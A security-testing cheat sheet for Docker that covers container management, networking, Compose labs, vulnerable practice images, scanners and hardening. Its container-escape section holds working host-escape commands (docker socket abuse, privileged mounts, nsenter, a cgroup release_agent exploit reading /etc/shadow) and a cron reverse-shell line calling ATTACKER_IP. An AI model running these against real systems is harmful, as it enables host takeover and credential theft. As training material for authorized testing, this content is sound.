← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/docker-cheatsheet

kavklaw@llm $ cat docker-cheatsheet.md

Docker for Security Testing Cheat Sheet

Container management, networking, escapes, vulnerable labs, and security scanning — everything for CTFs and pentesting.

Container Management

# Run a container
docker run -it ubuntu /bin/bash                    # Interactive shell
docker run -d nginx                                # Detached (background)
docker run -d --name mybox ubuntu sleep infinity    # Named container
docker run --rm alpine echo "hello"                # Auto-remove on exit
docker run -it --entrypoint /bin/sh myimage        # Override entrypoint

# Start / Stop / Restart
docker start mybox                                 # Start stopped container
docker stop mybox                                  # Graceful stop (SIGTERM)
docker kill mybox                                  # Force stop (SIGKILL)
docker restart mybox                               # Stop + start
docker pause mybox                                 # Freeze processes
docker unpause mybox                               # Unfreeze

# Execute commands in running container
docker exec -it mybox /bin/bash                    # Interactive shell
docker exec mybox whoami                           # Run single command
docker exec -u root mybox id                       # Run as specific user
docker exec -e MY_VAR=hello mybox env              # With env variable

# Logs
docker logs mybox                                  # All logs
docker logs -f mybox                               # Follow (tail -f)
docker logs --tail 100 mybox                       # Last 100 lines
docker logs --since 2h mybox                       # Last 2 hours

# Inspect / Info
docker ps                                          # Running containers
docker ps -a                                       # All containers (incl. stopped)
docker inspect mybox                               # Full JSON details
docker inspect -f '{{.NetworkSettings.IPAddress}}' mybox  # Container IP
docker top mybox                                   # Running processes
docker stats                                       # Live resource usage
docker diff mybox                                  # Changed files in container

# Remove
docker rm mybox                                    # Remove stopped container
docker rm -f mybox                                 # Force remove (running too)
docker container prune                             # Remove all stopped containers

# Copy files
docker cp mybox:/etc/passwd ./passwd               # Container → host
docker cp ./exploit.sh mybox:/tmp/                 # Host → container

Image Management

# Pull images
docker pull kalilinux/kali-rolling                 # Kali Linux
docker pull ubuntu:22.04                           # Specific tag
docker pull ghcr.io/someuser/someimage             # GitHub Container Registry

# List images
docker images                                      # All local images
docker images --filter "dangling=true"             # Untagged images

# Build from Dockerfile
docker build -t myimage .                          # Build in current dir
docker build -t myimage:v1.0 .                     # With tag
docker build -f Dockerfile.dev -t dev .            # Custom Dockerfile
docker build --no-cache -t myimage .               # No layer cache

# Tag and push
docker tag myimage myrepo/myimage:latest           # Tag for registry
docker push myrepo/myimage:latest                  # Push to registry
docker login                                       # Authenticate first

# Save / Load (offline transfer)
docker save -o myimage.tar myimage:latest          # Export to tar
docker load -i myimage.tar                         # Import from tar

# Image inspection
docker history myimage                             # Layer history (find secrets!)
docker inspect myimage                             # Full metadata

# Cleanup
docker rmi myimage                                 # Remove image
docker image prune -a                              # Remove all unused images
docker system prune -a --volumes                   # Nuclear cleanup

Networking

# Port mapping
docker run -d -p 8080:80 nginx                     # Host 8080 → Container 80
docker run -d -p 127.0.0.1:8080:80 nginx           # Localhost only
docker run -d -p 8080:80/tcp nginx                  # TCP only (default)
docker run -d -p 8080:80/udp nginx                  # UDP
docker run -d -P nginx                              # Random host ports
docker port mybox                                   # Show port mappings

# Network management
docker network ls                                  # List networks
docker network create pentest-net                  # Create network
docker network create --subnet=10.10.10.0/24 lab   # With subnet
docker network inspect bridge                      # Inspect network
docker network connect pentest-net mybox           # Attach container
docker network disconnect pentest-net mybox        # Detach container

# Run on specific network
docker run -d --network pentest-net --name victim ubuntu sleep infinity
docker run -d --network pentest-net --name attacker kalilinux/kali-rolling sleep infinity

# Host networking (container uses host's network stack)
docker run --network host -it myimage              # No isolation!

# No networking
docker run --network none -it myimage              # Complete isolation

# DNS / hostname
docker run --hostname pwned --dns 8.8.8.8 -it ubuntu

# Link containers (legacy — use networks instead)
docker run --link db:database -it webapp

Volumes & Mounts

# Bind mounts (host path → container path)
docker run -v /host/path:/container/path myimage
docker run -v $(pwd):/app myimage                  # Current dir
docker run -v /etc:/host-etc:ro myimage            # Read-only mount

# Named volumes
docker volume create mydata                        # Create volume
docker volume ls                                   # List volumes
docker volume inspect mydata                       # Volume details
docker run -v mydata:/data myimage                 # Use named volume
docker volume rm mydata                            # Remove volume
docker volume prune                                # Remove unused volumes

# tmpfs mount (in-memory, no persistence)
docker run --tmpfs /tmp myimage

# Share data between containers
docker run -v shared:/data --name writer myimage
docker run -v shared:/data --name reader myimage

Dockerfile Basics

# Minimal Dockerfile
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nmap curl wget
WORKDIR /app
COPY tools/ /app/tools/
RUN chmod +x /app/tools/*
ENTRYPOINT ["/bin/bash"]

# Common instructions
FROM image:tag              # Base image
RUN command                 # Execute during build
COPY src dest               # Copy files from build context
ADD src dest                # Copy + extract archives + fetch URLs
WORKDIR /path               # Set working directory
ENV KEY=value               # Set environment variable
EXPOSE 80                   # Document exposed port (doesn't publish)
CMD ["executable"]          # Default command (overridable)
ENTRYPOINT ["executable"]   # Main executable (harder to override)
USER username               # Switch user
ARG VARNAME=default         # Build-time variable
VOLUME /data                # Create mount point
LABEL key="value"           # Metadata

# Multi-stage build (smaller final image)
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN go build -o exploit .

FROM alpine:latest
COPY --from=builder /app/exploit /exploit
ENTRYPOINT ["/exploit"]

# Pentest Dockerfile example
FROM kalilinux/kali-rolling
RUN apt-get update && apt-get install -y \
    nmap gobuster ffuf sqlmap \
    john hashcat hydra \
    metasploit-framework \
    burpsuite \
    python3-pip \
    && rm -rf /var/lib/apt/lists/*
RUN pip3 install pwntools requests
WORKDIR /root
CMD ["/bin/bash"]

Docker Compose

# docker-compose.yml — basic vulnerable lab
version: '3.8'
services:
  attacker:
    image: kalilinux/kali-rolling
    stdin_open: true
    tty: true
    networks:
      - lab
    volumes:
      - ./loot:/root/loot

  victim:
    image: vulnerables/web-dvwa
    ports:
      - "8080:80"
    networks:
      - lab
    environment:
      - MYSQL_ROOT_PASSWORD=toor

  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=toor
    networks:
      - lab

networks:
  lab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/24
# Docker Compose commands
docker compose up -d                               # Start all services
docker compose down                                # Stop and remove
docker compose down -v                             # Also remove volumes
docker compose ps                                  # List running services
docker compose logs -f                             # Follow all logs
docker compose logs victim                         # Logs for one service
docker compose exec attacker bash                  # Shell into service
docker compose build                               # Rebuild images
docker compose pull                                # Pull latest images
docker compose restart victim                      # Restart one service
docker compose config                              # Validate YAML

Container Escape Techniques (CTF / Pentest)

These are for authorized testing and CTF challenges only.

Mounted Docker Socket

# If /var/run/docker.sock is mounted inside the container:
ls -la /var/run/docker.sock

# You effectively have root on the host!

# Method 1: Run a privileged container from inside
docker run -v /:/hostfs -it ubuntu chroot /hostfs

# Method 2: Use curl if docker CLI isn't installed
curl -s --unix-socket /var/run/docker.sock \
  http://localhost/containers/json | python3 -m json.tool

# Create and start an escape container via API
curl -s --unix-socket /var/run/docker.sock \
  -X POST -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/sh","-c","cat /hostfs/etc/shadow"],
       "Binds":["/:/hostfs"],"HostConfig":{"Binds":["/:/hostfs"]}}' \
  http://localhost/containers/create

# Method 3: Install docker CLI inside container
apt-get update && apt-get install -y docker.io
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

Privileged Mode Escape

# Check if running in privileged mode
cat /proc/self/status | grep -i capeff
# CapEff: 000001ffffffffff  ← all capabilities = privileged

# Or check
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "unprivileged"

# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host      # or /dev/vda1, check with fdisk -l
cat /mnt/host/etc/shadow
chroot /mnt/host

# Method 2: nsenter into host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# You now have a root shell on the host

# Method 3: Write cron job to host
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab

Dangerous Capabilities

# Check capabilities
cat /proc/self/status | grep Cap
capsh --print                              # If available

# CAP_SYS_ADMIN — almost as good as privileged
# Can mount filesystems, use ptrace, etc.
mount -t proc proc /proc                   # Remount proc
mount /dev/sda1 /mnt                       # Mount host disk

# CAP_SYS_PTRACE — process injection
# Can attach to host processes if sharing PID namespace
docker run --pid=host --cap-add=SYS_PTRACE -it ubuntu

# CAP_NET_ADMIN — network manipulation
# Can sniff traffic, modify routes, create interfaces

# CAP_DAC_READ_SEARCH — read any file
# Bypass file read permission checks

# CAP_NET_RAW — raw sockets
# Can craft packets, ARP spoof from container

Other Escape Vectors

# Shared PID namespace (--pid=host)
ps aux                                     # Can see host processes
ls -la /proc/1/root/                       # Access host filesystem via proc
cat /proc/1/root/etc/shadow                # Read host shadow file

# Writable /sys or /proc
# Release agent escape (cgroups v1)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo 0 > /tmp/cgrp/x/cgroup.procs"
cat /output

# Environment variables with secrets
env | grep -i pass
env | grep -i key
env | grep -i secret
env | grep -i token
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass

Common Vulnerable Docker Setups

# DVWA (Damn Vulnerable Web Application)
docker run -d -p 8080:80 vulnerables/web-dvwa
# Access: http://localhost:8080  (admin/password)

# OWASP Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
# Access: http://localhost:3000

# Metasploitable 3 (via Vagrant, not pure Docker)
# Use: https://github.com/rapid7/metasploitable3

# WebGoat
docker run -d -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Access: http://localhost:8080/WebGoat

# Hackazon
docker run -d -p 8080:80 ianwijaya/hackazon
# Access: http://localhost:8080

# VulnHub in Docker
docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271  # Shellshock
docker run -d -p 8080:80 vulnerables/cve-2014-6271  # Shellshock

# Vulnerable WordPress
docker run -d -p 8080:80 -e WORDPRESS_DB_HOST=db \
  -e WORDPRESS_DB_PASSWORD=toor --name wp wordpress:4.6

# SSRF vulnerable app
docker run -d -p 8080:80 abhinavsingh/ssrf-lab

# Log4Shell vulnerable
docker run -d -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

# Full pentest lab (Vulhub — many CVEs)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-048
docker compose up -d

Docker Security Scanning

# Trivy — vulnerability scanner (Aqua Security)
# Install
apt-get install -y trivy
# Or
docker pull aquasec/trivy

# Scan an image
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL myimage:latest
trivy image --format json -o results.json myimage

# Scan a running container's filesystem
trivy fs /
trivy rootfs /

# Scan a Dockerfile
trivy config Dockerfile
trivy config .                             # Scan all configs in dir

# Scan for secrets in image
trivy image --scanners secret myimage
# Docker Bench Security — CIS benchmark checks
docker run --net host --pid host --userns host --cap-add audit_control \
  -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
  -v /var/lib:/var/lib:ro \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -v /usr/lib/systemd:/usr/lib/systemd:ro \
  -v /etc:/etc:ro \
  --label docker_bench_security \
  docker/docker-bench-security
# Grype — vulnerability scanner (Anchore)
grype nginx:latest
grype myimage:latest --only-fixed          # Only fixable vulns
grype myimage:latest -o json               # JSON output

# Syft — generate SBOM (Software Bill of Materials)
syft myimage:latest                        # List all packages
syft myimage:latest -o spdx-json           # SPDX format
# Dive — inspect image layers (find secrets, bloat)
dive myimage:latest
# Interactive TUI: browse each layer's filesystem changes
# Look for: passwords in config files, .env files, SSH keys, tokens

# Manual inspection
docker save myimage -o image.tar
tar xf image.tar
# Inspect each layer's layer.tar for sensitive files

# Check for secrets in image history
docker history --no-trunc myimage | grep -i -E "pass|key|secret|token"

Hardening & Defense Tips

# Run as non-root user
docker run --user 1000:1000 myimage

# Drop all capabilities, add only what's needed
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE myimage

# Read-only filesystem
docker run --read-only --tmpfs /tmp myimage

# No new privileges
docker run --security-opt no-new-privileges myimage

# Limit resources
docker run --memory=256m --cpus=0.5 myimage

# Don't mount docker socket
# Never: -v /var/run/docker.sock:/var/run/docker.sock

# Use specific image tags (not :latest)
docker run nginx:1.25.3-alpine

# Scan before deploy
trivy image myimage:latest && docker push myimage:latest

# Enable content trust
export DOCKER_CONTENT_TRUST=1

# Use seccomp / AppArmor profiles
docker run --security-opt seccomp=profile.json myimage
docker run --security-opt apparmor=docker-default myimage

# Network segmentation
docker network create --internal isolated-net     # No external access

Quick Reference: Useful Combos

# Get a shell in the latest exited container
docker start -ai $(docker ps -lq)

# Remove all stopped containers
docker rm $(docker ps -aq -f status=exited)

# Kill all running containers
docker kill $(docker ps -q)

# Get IP of a container
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mybox

# Monitor container in real time
watch docker ps

# Export container filesystem
docker export mybox > container_fs.tar

# Search Docker Hub
docker search vulnerable

# Run with all ports exposed to host
docker run --network host myimage

# Attach to container's network namespace (debug)
nsenter -t $(docker inspect -f '{{.State.Pid}}' mybox) -n ip addr

# Quick Kali with common tools
docker run -it --rm --network host kalilinux/kali-rolling bash -c \
  "apt update && apt install -y nmap gobuster wordlists && bash"